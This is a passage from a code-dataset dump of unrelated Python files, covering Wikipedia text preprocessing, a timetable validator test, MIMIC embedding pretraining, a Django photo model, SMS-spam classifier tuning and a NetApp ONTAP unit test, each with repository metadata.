"matplotlib.pyplot.grid", "line_number": 1007, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1007, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 1009, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1009, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 1010, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1010, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 1012, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1012, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 1015, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1015, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1019, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1019, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 1022, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1022, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 1024, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1024, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 1025, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1025, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 1030, "usage_type": "call"}, {"api_name": "sklearn.feature_selection.RFECV", "line_number": 1051, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 1051, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 1057, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1057, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 1058, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1058, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 1059, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1059, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 1060, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1060, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 1061, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1061, "usage_type": "name"}, {"api_name": "numpy.random.random_sample", "line_number": 1066, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1066, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 1069, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 1075, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 1092, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 1097, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 1097, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 1100, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1104, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1113, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 1117, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1121, "usage_type": "call"}]} +{"seq_id": "41956459598", "text": "#!/usr/bin/env python3\n# This tool will preprocess the wiki dataset which is stored in a jsonl file (usually: articles.jsonl)\n# Preprocessing here means simply to bring it in an appropriate form that allows easy access to image, text pairs\n# and to split the corresponding text already into sentences\n# Other preprocessing steps: References are filtered\n\nimport argparse\nimport os\nimport nltk\nimport json\nimport sys\nimport logging\nimport traceback\nimport re\n\nsent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\n\nlogging.basicConfig(level=logging.DEBUG)\n\n# this method will filter out wikipedia references from the text, since they are not useful to us\ndef filter_references(text):\n p = re.compile('\\[[\\w\\s\\?]*\\]')\n \n for tup in text:\n for item in tup:\n for i, s in enumerate(item):\n # replace references with empy strings\n item[i] = p.sub('',s)\n\n# process all given images (the given text must be the corresponding text for this image)\n# the format of the given text is a list of tuples (title, text), whereas images, that belong to a single section,\n# have only one tuple.\ndef preprocess_pair(article, images, text):\n global OUTPUT_FILE, PROCESSED_IMAGES\n \n filter_references(text)\n \n for img in images:\n # only if the images was preprocessed and converted into a jpeg image it will be converted\n if 'origformat' in img:\n assert len(text) > 0 and len(text[0][1]) > 0\n\n PROCESSED_IMAGES += 1\n pair= {}\n pair['id'] = article['id'] # article id\n pair['text'] = text\n pair['imgpath'] = img['imgpath']\n pair['origformat'] = img['origformat']\n pair['caption'] = img['caption']\n \n # write image text pair into output file\n json_line = json.dumps(pair)\t\t\t\n OUTPUT_FILE.write(json_line + '\\n')\n \n\n# recursively iterate through sectins and subsection and preprocess all occuring images\ndef iterate_sections(article, sections):\n for sec in sections:\n preprocess_pair(article, sec['images'], [([sec['title']], sent_detector.tokenize(sec['text'].strip()))])\n iterate_sections(article, sec['subsections'])\n\ndef get_sections_text(sections):\n text = []\n for sec in sections:\n '''\n temp = []\n temp.append(([sec['title']], sent_detector.tokenize(sec['text'].strip())))\n temp += get_sections_text(sec['subsections'])\n \n # join titles until the first text has been found\n titles = []\n for i, tup in enumerate(temp):\n titles += tup[0]\n if len(tup[1]) == 0:\n continue\n if len(tup[1]) > 0:\n # delete all previous tuples with empty content\n for j in range(i):\n temp.pop(0)\n temp[0] = (titles, tup[1])\n titles = []\n # only add the extracted section, if there is at least one subsection containing actual content\n if len(titles) == 0:\n text += temp \n '''\n \n sentences = sent_detector.tokenize(sec['text'].strip())\n if len(sentences) > 0: \n text.append(([sec['title']], sentences))\n temp = get_sections_text(sec['subsections'])\n \n # concatenate current title in front of all subsections\n for tup in temp:\n tup[0].insert(0, sec['title']) \n text.append(tup)\n\n return text\n\nglobal PROCESSED_IMAGES\nPROCESSED_IMAGES = 0\n\nglobal OUTPUT_FILE\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--data', type=str, help=\"Directory, that contains the dataset\", default='./simplewiki-dataset')\n parser.add_argument('--outname', type=str, help=\"The name of the jsonl file, that is generated by this script.\", default='wiki-samples.jsonl')\n args = parser.parse_args()\n\n inputdir = args.data\n outname = os.path.join(inputdir, args.outname)\n\n dataset_file = os.path.join(inputdir, 'articles.jsonl')\n\n if not os.path.isdir(inputdir):\n raise(Exception('Directory ' + inputdir + ' does not exist.'))\n\n if not os.path.isfile(dataset_file):\n raise(Exception('File ' + dataset_file + ' does not exist.'))\n \n OUTPUT_FILE = open(outname, 'w')\n \n try:\n\n\n iteration = 0\n # for each wiki article\n with open(dataset_file, 'r') as df:\n for line in df:\n article = json.loads(line)\n\n article_img_exists = False\n for img in article['images']:\n if 'origformat' in img:\n article_img_exists = True\n break\n \n if article_img_exists:\n # generate text of whole article\n text = [([article['title']], sent_detector.tokenize(article['summary'].strip()))]\n text += get_sections_text(article['sections'])\n preprocess_pair(article, article['images'], text)\n\n\n iterate_sections(article, article['sections'])\n\n #if iteration == 2:\n # break\n\n iteration += 1\n if not iteration % 50:\n logging.info('Processed %d articles with %d image-text-pairs' % (iteration, PROCESSED_IMAGES)) \n \t\t\n except Exception as e:\n traceback.print_exc()\n OUTPUT_FILE.close()\n sys.exit()\n \n logging.info('Summary: processed %d articles with %d image-text-pairs' % (iteration, PROCESSED_IMAGES)) \n OUTPUT_FILE.close()\n\n", "repo_name": "chrhenning/image_text_relation", "sub_path": "wikiWebCrawler/preprocessText.py", "file_name": "preprocessText.py", "file_ext": "py", "file_size_in_byte": 5132, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "nltk.data.load", "line_number": 16, "usage_type": "call"}, {"api_name": "nltk.data", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 18, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 22, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 52, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 131, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 153, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 156, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 158, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 160, "usage_type": "call"}]} +{"seq_id": "14951423022", "text": "from pathlib import Path\n\nimport pytest\n\nfrom timetable.validator import make_validator\n\nASSETS_DIR = Path(__file__).parent / 'assets'\n\n\n@pytest.mark.parametrize(\n \"in_path, out_path, val_path, violation_cost, soft_cost\",\n [\n ('toy.in', 'toy.out', 'toy.val', 5, 30),\n ('toy.in', 'perfect.out', 'perfect.val', 0, 0),\n ],\n)\ndef test_validator_toy(capsys, in_path, out_path, val_path, violation_cost, soft_cost):\n with open(ASSETS_DIR / in_path) as faculty_input, open(ASSETS_DIR / out_path) as timetable_input:\n validator = make_validator(faculty_input, timetable_input)\n assert validator.total_violation_cost == violation_cost\n assert validator.total_soft_cost == soft_cost\n\n validator.print_violations()\n validator.print_costs()\n validator.print_total_cost()\n\n captured = capsys.readouterr()\n with open(ASSETS_DIR / val_path) as out:\n assert captured.out == out.read()\n", "repo_name": "DaniilAnichin/curriculum-gen", "sub_path": "tests/test_validator.py", "file_name": "test_validator.py", "file_ext": "py", "file_size_in_byte": 930, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pathlib.Path", "line_number": 7, "usage_type": "call"}, {"api_name": "timetable.validator.make_validator", "line_number": 19, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 10, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 10, "usage_type": "attribute"}]} +{"seq_id": "3676933629", "text": "\nimport argparse, spacy\nfrom brat_scoring.corpus import Corpus\nfrom csv import reader\nfrom gensim.models import FastText\nfrom gensim.models import Word2Vec\nfrom gensim import utils\nfrom collections import Counter\nimport re, os\n\nmimic_noteevents_csv_path=\"/Users/aleeuw15/Desktop/Research/NLP - TextImp/datasets/mimic/NOTEEVENTS.csv\"\n\n# 1 -------- tokenization\nnlp = spacy.load(\"en_core_web_sm\", exclude=[\"tagger\",\"parser\"])\nclass Itertexts:\n def __iter__(self):\n with utils.open(mimic_noteevents_csv_path, 'r', encoding='utf-8') as read_obj:\n for row in reader(read_obj):\n txt = row[10]\n #print(row[6])\n yield txt\n\nprint('get texts')\nmimic_texts = list(Itertexts())\nprint('tokenize')\ntokenized_mimic_texts = nlp.tokenizer.pipe(mimic_texts) #[ttext for ttext in ]\nprint('write out')\nwith open('mimic_tokenized.txt', 'w') as f:\n for ttext in tokenized_mimic_texts:\n f.write(str(ttext) + '\\n')\n\n# 2 ---------- introduce UNKs for words with freq 1\n\nwith open('mimic_tokenized.txt', 'r') as f:\n mimic_tokenized = f.read()\n tokens = re.split(',|\\n', mimic_tokenized)\n print('num tokens',len(tokens))\n #tokens = mimic_tokenized.split(' \\n')\n counts = Counter(tokens)\n\n\nwith open('mimic_tokenized_unk1.txt', 'w') as fout:\n with open('mimic_tokenized.txt', 'r') as fin:\n for line in fin.readlines():\n tokens = line.strip().split(' ')\n newtokens = [t if counts[t]> 1 else '' for t in tokens]\n fout.write(' '.join(newtokens) + '\\n')\n\n# 3 ------ train the embeddings\n# print('training embs')\n# word2vec_command='python -m gensim.scripts.word2vec_standalone -train mimic_tokenized_unk1.txt -output mimic_tokenized_unk1_word2vec_5it_250.bin -size 250 -sample 1e-4 -cbow 0 -binary 0 -iter 5 -window 4'\n# os.popen(word2vec_command)\n\nfasttext_command = '\"/Users/aleeuw15/Desktop/Research/N2C2 - SDOH/code/N2C2-TR2-SOCDET/fastText/fasttext\" skipgram -input \"/Users/aleeuw15/Desktop/Research/N2C2 - SDOH/code/N2C2-TR2-SOCDET/n2c2-tr2-socdet/mimic_tokenized_unk1.txt\" -output \"/Users/aleeuw15/Desktop/Research/N2C2 - SDOH/code/N2C2-TR2-SOCDET/n2c2-tr2-socdet/mimic_tokenized_unk1_fasttext_5it_250.bin\" -ws 4 -epoch 5 -dim 250'\nos.popen(fasttext_command)\n\n", "repo_name": "tuur/sdoh_n2c2track2_ucsf_umcu", "sub_path": "pretrain_embs.py", "file_name": "pretrain_embs.py", "file_ext": "py", "file_size_in_byte": 2274, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "spacy.load", "line_number": 14, "usage_type": "call"}, {"api_name": "gensim.utils.open", "line_number": 17, "usage_type": "call"}, {"api_name": "gensim.utils", "line_number": 17, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 18, "usage_type": "call"}, {"api_name": "re.split", "line_number": 36, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 39, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "74306380119", "text": "#-*- encoding: utf-8 -*-\n\nfrom django.db import models\nfrom candidate.models import Candidate\nimport os\nfrom PIL import Image\nfrom cStringIO import StringIO\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import FileSystemStorage\nfrom ms import settings\n\n\ndef change_ext_to_pilformat(ext):\n EXT_TO_PILFORMAT = {\n 'jpeg': 'JPEG',\n 'jpg': 'JPEG',\n 'png': 'PNG',\n 'bmp': 'BMP',\n }\n p = EXT_TO_PILFORMAT.get(ext, None)\n if None:\n raise Exception('unregistered extension. you can use jpeg, jpg, png and bmp')\n return p\n\n\nclass OverwriteStorage(FileSystemStorage):\n def get_available_name(self, name):\n if self.exists(name):\n os.remove(os.path.join(settings.MEDIA_ROOT, name))\n return name\n\n\ndef upload_to(instance, filename):\n root, ext = os.path.splitext(filename)\n ext = ext.lower()\n return os.path.join('photos',\n '%d' % instance.candidate.entry_number,\n '%s%s' % (instance.name, ext))\n\n\ndef generate_upload_to(thumb=False):\n prefix = '-thumb' if thumb else ''\n\n def closure(instance, filename):\n root, ext = os.path.splitext(filename)\n ext = ext.lower()\n return os.path.join('photos',\n '%d' % instance.candidate.entry_number,\n '%s%s%s' % (instance.name, prefix, ext))\n\n return closure\n\n\nclass Photo(models.Model):\n candidate = models.ForeignKey(Candidate, verbose_name='候補者')\n name = models.CharField(max_length=50, verbose_name='名前',\n help_text='''<名前>.<拡張子>でサーバーに保存されます。\n 遠田の管理用でもあるので、英名で、長ぎず、最低限どの画像なのかわかるようなものにしてください。''')\n image = models.ImageField(null=True, upload_to=generate_upload_to(),\n storage=OverwriteStorage(),\n verbose_name='画像',\n help_text='自動的に長辺が1920pxに収まるようにリサイズされます。')\n thumb = models.ImageField(null=True,\n blank=True,\n upload_to=generate_upload_to(True),\n storage=OverwriteStorage(),\n verbose_name='サムネイル',\n help_text='自動的に生成されるのでファイルを指定しないでください。')\n title = models.CharField(max_length=100,\n null=True,\n blank=True,\n verbose_name='タイトル',\n help_text='写真のタイトルです。今のところ仕様されていません')\n desc = models.CharField(max_length=500,\n null=True,\n blank=True,\n verbose_name='説明',\n help_text='写真の説明文です。今のところ使用されていません。')\n index = models.IntegerField(default=0,\n blank=True,\n null=True,\n verbose_name='表示順位',\n help_text='数値が低いものが前になります。')\n\n class Meta:\n # order_with_respect_to = 'candidate'\n ordering = ['candidate', 'index']\n\n def __unicode__(self):\n return 'No.%d %s - %s' % (self.candidate.entry_number, self.candidate.name, self.name,)\n\n def admin_image_view(self):\n return u'' % self.thumb.url\n admin_image_view.short_description = 'Image'\n admin_image_view.allow_tags = True\n\n def get_ext(self):\n e = os.path.splitext(str(self.image))[1].lower()[1:]\n return e\n\n def generate_thumb(self, thumb_size):\n self.image.seek(0)\n buf = StringIO(self.image.read())\n buf.seek(0)\n thumb_img = Image.open(buf)\n\n w = thumb_img.size[0]\n h = thumb_img.size[1]\n y = w > h\n l, s = y and (w, h) or (h, w)\n # 短い方に合わせる\n thumb_size_long = thumb_size * l / s\n\n thumb_img = thumb_img.resize(\n y and (thumb_size_long, thumb_size) or (thumb_size, thumb_size_long),\n Image.ANTIALIAS)\n\n cords = 4*[0]\n # left, top, right, bottom\n offset1 = (thumb_size_long - thumb_size) / 2\n offset2 = thumb_size_long - offset1\n if y:\n #0:left,2:right\n cords[0], cords[2] = offset1, offset2\n cords[3] = thumb_size\n else:\n #1:top,3:bottom\n cords[1], cords[3] = offset1, offset2\n cords[2] = thumb_size\n\n thumb_img = thumb_img.crop(cords)\n\n # img -resize-> thumb_img -StringIO-> fp -Cast-> tmp_file\n fp = StringIO()\n thumb_img.save(fp, format=change_ext_to_pilformat(self.get_ext()))\n fp.seek(0)\n tmp_file = ContentFile(fp.read())\n root, ext = os.path.splitext(str(self.image))\n self.thumb.save('%s-thumb%s' % (root, ext), tmp_file, save=False)\n fp.close()\n\n def resize_image(self, new_size):\n self.image.seek(0)\n buf = StringIO(self.image.read())\n buf.seek(0)\n img = Image.open(buf)\n\n if img.size[0] > new_size or img.size[1] > new_size:\n img.thumbnail((new_size, new_size), Image.ANTIALIAS)\n\n fp = StringIO()\n img.save(fp, format=change_ext_to_pilformat(self.get_ext()))\n fp.seek(0)\n tmp_file = ContentFile(fp.read())\n self.image.save(str(self.image), tmp_file, save=False)\n fp.close()\n\n def save(self, force_insert=False, force_update=False, using=None, update_fields=None):\n\n self.resize_image(1920)\n self.generate_thumb(600)\n r = super(Photo, self).save(force_insert, force_update, using, update_fields)\n return r\n\n def delete(self, *args, **kwargs):\n\n img_storage, img_path = self.image.storage, self.image.path\n thumb_storage, thumb_path = self.thumb.storage, self.thumb.path\n super(Photo, self).delete(*args, **kwargs)\n img_storage.delete(img_path)\n thumb_storage.delete(thumb_path)\n", "repo_name": "endaaman/ms", "sub_path": "photo/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 6425, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.core.files.storage.FileSystemStorage", "line_number": 26, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "ms.settings.MEDIA_ROOT", "line_number": 29, "usage_type": "attribute"}, {"api_name": "ms.settings", "line_number": 29, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 54, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 54, "usage_type": "name"}, {"api_name": "candidate.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 55, "usage_type": "call"}, {"api_name": "candidate.models.Candidate", "line_number": 55, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 59, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 59, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 63, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 63, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 69, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 74, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "cStringIO.StringIO", "line_number": 103, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 105, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 105, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 116, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 116, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 134, "usage_type": "call"}, {"api_name": "django.core.files.base.ContentFile", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "cStringIO.StringIO", "line_number": 144, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 146, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 146, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 149, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 149, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 151, "usage_type": "call"}, {"api_name": "django.core.files.base.ContentFile", "line_number": 154, "usage_type": "call"}]} +{"seq_id": "28712890056", "text": "# File: parameter_tuning.py\n#\n# Author: Rohan Patel\n#\n# Date: 05/12/2018\n#\n# Description: This script uses scikit-learn's GridSearchCV to perform an exhaustive grid search.\n# Exhaustive grid search is a way to select the best model out of a family of models\n# by tuning the model parameters. \n\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import classification_report, accuracy_score\n\ndef SVM_Tuning(X_train, X_test, y_train, y_test):\n\n\tprint('\\n############### SVM ###############\\n')\n\tparam_grid = {'kernel':['sigmoid','rbf','linear'],'gamma':[1,0.1,0.01]}\n\n\tmodel = GridSearchCV(SVC(), param_grid, verbose = 3)\n\tmodel.fit(X_train, y_train)\n\n\tprint('\\nBest parameter:', model.best_params_)\n\n\tpred = model.predict(X_test)\n\n\tprint('\\nAccuracy Score:', accuracy_score(y_test, pred))\n\tprint('\\n')\n\tprint(classification_report(y_test, pred))\n\ndef MNB_Tuning(X_train, X_test, y_train, y_test):\n\n\tprint('\\n############### Multinomial NB ###############\\n')\n\tparam_grid = {'alpha': np.arange(0.05, 1.05, 0.05)}\n\n\tmodel = GridSearchCV(MultinomialNB(), param_grid, verbose = 1)\n\tmodel.fit(X_train, y_train)\n\n\tprint('\\nBest parameter:', model.best_params_)\n\n\tpred = model.predict(X_test)\n\n\tprint('\\nAccuracy Score:', accuracy_score(y_test, pred))\n\tprint('\\n')\n\tprint(classification_report(y_test, pred))\n\ndef DTree_Tuning(X_train, X_test, y_train, y_test):\n\n\tprint('\\n############### Decision Tree ###############\\n')\n\tparam_grid = {'min_samples_split': np.arange(2, 21, 1)}\n\n\tmodel = GridSearchCV(DecisionTreeClassifier(), param_grid, verbose = 1)\n\tmodel.fit(X_train, y_train)\n\n\tprint('\\nBest parameter:', model.best_params_)\n\n\tpred = model.predict(X_test)\n\n\tprint('\\nAccuracy Score:', accuracy_score(y_test, pred))\n\tprint('\\n')\n\tprint(classification_report(y_test, pred))\n\ndef main():\n\n\ttfidf_vect = pickle.load(open(\"output/tfidf_vector.pickle\", \"rb\")) # load previously generated tf-idf vector from pickle file\n\tmessages = pd.read_csv('output/processed_msgs.csv')\n\n\t# append our message length feature to the tfidf vector to produce the final feature vector we fit into our classifiers\n\tlen_feature = messages['length'].as_matrix()\n\tfeat_vect = np.hstack((tfidf_vect.todense(), len_feature[:, None]))\n\n\tX_train, X_test, y_train, y_test = train_test_split(feat_vect, messages['label'], test_size = 0.3, random_state = 101)\n\n\tMNB_Tuning(X_train, X_test, y_train, y_test)\n\t#SVM_Tuning(X_train, X_test, y_train, y_test)\n\t#DTree_Tuning(X_train, X_test, y_train, y_test)\n\nif __name__ == \"__main__\":\n main()", "repo_name": "rohan8594/SMS-Spam-Detection", "sub_path": "src/parameter_tuning.py", "file_name": "parameter_tuning.py", "file_ext": "py", "file_size_in_byte": 2796, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.MultinomialNB", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 67, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 78, "usage_type": "call"}]} +{"seq_id": "38366630266", "text": "# (c) 2018, NetApp, Inc\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\n''' unit test template for ONTAP Ansible module '''\n\nfrom __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\nimport json\nimport pytest\n\nfrom ansible_collections.netapp.ontap.tests.unit.compat import unittest\nfrom ansible_collections.netapp.ontap.tests.unit.compat.mock import patch, Mock\nfrom ansible.module_utils import basic\nfrom ansible.module_utils._text import to_bytes\nimport ansible_collections.netapp.ontap.plugins.module_utils.netapp as netapp_utils\n\nfrom ansible_collections.netapp.ontap.plugins.modules.na_ontap_export_policy_rule \\\n import NetAppontapExportRule as policy_rule # module under test\n\nif not netapp_utils.has_netapp_lib():\n pytestmark = pytest.mark.skip('skipping as missing required netapp_lib')\n\n\ndef set_module_args(args):\n \"\"\"prepare arguments so that they will be picked up during module creation\"\"\"\n args = json.dumps({'ANSIBLE_MODULE_ARGS': args})\n basic._ANSIBLE_ARGS = to_bytes(args) # pylint: disable=protected-access\n\n\nclass AnsibleExitJson(Exception):\n \"\"\"Exception class to be raised by module.exit_json and caught by the test case\"\"\"\n pass\n\n\nclass AnsibleFailJson(Exception):\n \"\"\"Exception class to be raised by module.fail_json and caught by the test case\"\"\"\n pass\n\n\ndef exit_json(*args, **kwargs): # pylint: disable=unused-argument\n \"\"\"function to patch over exit_json; package return data into an exception\"\"\"\n if 'changed' not in kwargs:\n kwargs['changed'] = False\n raise AnsibleExitJson(kwargs)\n\n\ndef fail_json(*args, **kwargs): # pylint: disable=unused-argument\n \"\"\"function to patch over fail_json; package return data into an exception\"\"\"\n kwargs['failed'] = True\n raise AnsibleFailJson(kwargs)\n\n\nclass MockONTAPConnection(object):\n ''' mock server connection to ONTAP host '''\n\n def __init__(self, kind=None, data=None):\n ''' save arguments '''\n self.kind = kind\n self.data = data\n self.xml_in = None\n self.xml_out = None\n\n def invoke_successfully(self, xml, enable_tunneling): # pylint: disable=unused-argument\n ''' mock invoke_successfully returning xml data '''\n self.xml_in = xml\n if self.kind == 'rule':\n xml = self.build_policy_rule(self.data)\n if self.kind == 'rules':\n xml = self.build_policy_rule(self.data, multiple=True)\n if self.kind == 'policy':\n xml = self.build_policy()\n self.xml_out = xml\n return xml\n\n @staticmethod\n def build_policy_rule(policy, multiple=False):\n ''' build xml data for export-rule-info '''\n xml = netapp_utils.zapi.NaElement('xml')\n attributes = {'attributes-list': {\n 'export-rule-info': {\n 'policy-name': policy['name'],\n 'client-match': policy['client_match'],\n 'ro-rule': {\n 'security-flavor': 'any'\n },\n 'rw-rule': {\n 'security-flavor': 'any'\n },\n 'protocol': {\n 'access-protocol': policy['protocol']\n },\n 'super-user-security': {\n 'security-flavor': 'any'\n },\n 'is-allow-set-uid-enabled': 'false',\n 'rule-index': policy['rule_index'],\n 'anonymous-user-id': policy['anonymous_user_id'],\n\n }\n }, 'num-records': 2 if multiple is True else 1}\n xml.translate_struct(attributes)\n return xml\n\n @staticmethod\n def build_policy():\n ''' build xml data for export-policy-get-iter '''\n xml = 